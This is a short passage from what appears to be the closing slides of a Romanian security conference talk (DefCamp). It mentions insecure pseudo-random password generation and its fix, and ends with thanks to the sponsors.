noii parole</li></ul>Insecure not-so-random password<br /><ul><li> folosirea unor algoritmi mai complecși de generare a parolei</li></ul>Evoluție/Istorie<br /><ul><li> Aceste vulnerabilități se găsesc în scripturi, desigur, nu toate la un loc. Riscul pe care îl prezintă variază în funcție de rezultatele obținute de atacator.</li></li></ul><li>THE END<br />Mulțumiri sponsorilor: <br />Club Vila Bran<br />CreActivity<br />sirgod@DEFCAMP<br />

×